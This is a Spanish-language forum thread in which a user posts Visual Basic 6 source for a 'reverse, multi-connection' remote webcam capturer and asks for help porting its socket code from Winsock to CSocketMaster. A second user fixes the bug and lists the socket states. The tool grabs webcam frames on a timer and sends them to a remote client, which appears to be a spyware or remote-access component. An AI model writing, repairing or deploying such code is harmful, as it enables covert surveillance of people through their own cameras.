Título: [DUDA]pasando el winsock a Csoket master en capturador de cam remoto
Publicado por: borjoide en 4 Enero 2012, 02:05 am
Buenas pues despues de muchos muchos muchos intentos intentando hacer funcionar el code usando Csocketmaster no e tenido mas remedio que acudir a vosotros estoi haciendo un capturador de cam multiconexion inverso el cliente recibe bien y conecta al pelo y la primera parte del servidor que la que se encarga de buscar al cliente tambien,inculuso esa e llegado a pasarla a Csocketmaster pero la segunda parte que es la que se encarga de capturar la pantalla y mandarlo no consigo pasarlo a Csocketmaster sin k me de el dichoso error: Runtime 40006 Protocol....... Este es el code original sin Csokectmaster k funciona sin problemas Dim Imagen() As Byte
Dim Ip as string,port as string
Private Sub Form_Load() ip = "127.0.0.1 port = 554 If Command1.Caption = "Conectar" Then Winsock1.CONNECT Text1, CInt(Text2) mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0 Timer1.Enabled = True Command1.Caption = "Desconectar" Else Timer1.Enabled = False DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 Winsock1.Close Me.Caption = "Desconectado" Command1.Caption = "Conectar" End If End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 Winsock1.Close End Sub
Private Sub Timer1_Timer() On Error Resume Next SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 Picture1.Picture = Clipboard.GetData SavePicture Clipboard.GetData, "c:\temporal.bmp" Dim Tamaño As Long Open "c:\temporal.bmp" For Binary Access Read As #1 Tamaño = LOF(1) ReDim Imagen(Tamaño - 1) Get #1, , Imagen Close Winsock1.SendData Imagen Winsock1.SendData "Fin" End Sub
End Sub
y este es el code k intento usar con Csoketmaster k ya no se ni como ponerlo :S Dim Imagen() As Byte Dim WithEvents dios As CSocketMaster Dim ip As String, port As String
Private Sub Form_Load() ip = "127.0.0.1" port = 544 On Error Resume Next
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) DoEvents: SendMessage mCapHwnd, Connect, 0, 0 Timer1.Enabled = True Command1.Caption = "Desconectar" End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 dios.CloseSck End Sub
Private Sub Timer1_Timer() On Error Resume Next SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 Picture1.Picture = Clipboard.GetData SavePicture Clipboard.GetData, "c:\Archivo de programa\temporal.bmp" Dim Tamaño As Long Open "c:\Archivos de programa\temporal.bmp" For Binary Access Read As #1 Tamaño = LOF(1) ReDim Imagen(Tamaño - 1) Get #1, , Imagen Close If dios.State <> 7 Then dios.SendData Imagen dios.SendData "Fin" Else MsgBox ("no ESTAS conectado") End If End Sub
Private Sub Timer3_Timer() dios.Connect ip, port Timer3.Enabled = False
End Sub
Private Sub Timer4_Timer() Set dios = New CSocketMaster Timer3.Enabled = True Timer4.Enabled = False End Sub
meda siempre el dichoso error Runtime Error 40006 :S se que es porque se manda un SendData antes de establecer la conexion con el puerto pero no se como ponerlo para que conecte y mande las imagenes a mi cliente si necesitan ver el code del cliente diganmelo pero no es necesario creo yo Muchas gracias de antemano :P :P :P
Título: Re: [DUDA]pasando el winsock a Csoket master en capturador de cam remoto
Publicado por: BlackZeroX en 4 Enero 2012, 19:59 pm
corrige este trozo: If dios.State <> 7 Then dios.SendData Imagen dios.SendData "Fin" Else MsgBox ("no ESTAS conectado") End If
por este otro: If dios.State = 7 Then dios.SendData Imagen dios.SendData "Fin" Else MsgBox ("no ESTAS conectado") End If
Esta es la lista de estados: typedef enum sckState { SCKCLOSED = 0, /** Socket Cerrado completamente **/ SCKOPEN = 1, /** Socket actualmente Abierto **/ SCKLISTENING = 2, /** Socket a la escucha de una conexion entrante **/ SCKCONNECTIONPENDING = 3, /** Estado de conexxion pendiente del Socket **/ SCKRESOLVINGHOST = 4, /** Se esta resolviendo los datos del equipo Host **/ SCKHOSTRESOLVED = 5, /** Estado donde se indica que los Datos del otro Punto han sido completados **/ SCKCONNECTING = 6, /** Se esta realizando una conexión **/ SCKCONNECTED = 7, /** El Socket esta actualmente conectado **/ SCKCLOSING = 8, /** El Socket se esta cerrando actualmente **/ SCKERROR = 9, /** Estado que informa de un Error en el la clase **/ } SCKSTATES;
NOTAS: * timer1 deberias de activarlo en el evento connect. * Tanto el OCX de Winsock como CSocketMaster SON IDENTICOS!¡, en la unica cosa que difieren en en que el OCX tiene "close" y el CSocketMaster tiene "closesck", de hay en fuera ambos se manejan de la misma manera. Dulces Lunas!¡.
Título: Re: [DUDA]pasando el winsock a Csoket master en capturador de cam remoto
Publicado por: borjoide en 4 Enero 2012, 23:32 pm
Muchas gracias voi a provar :)
|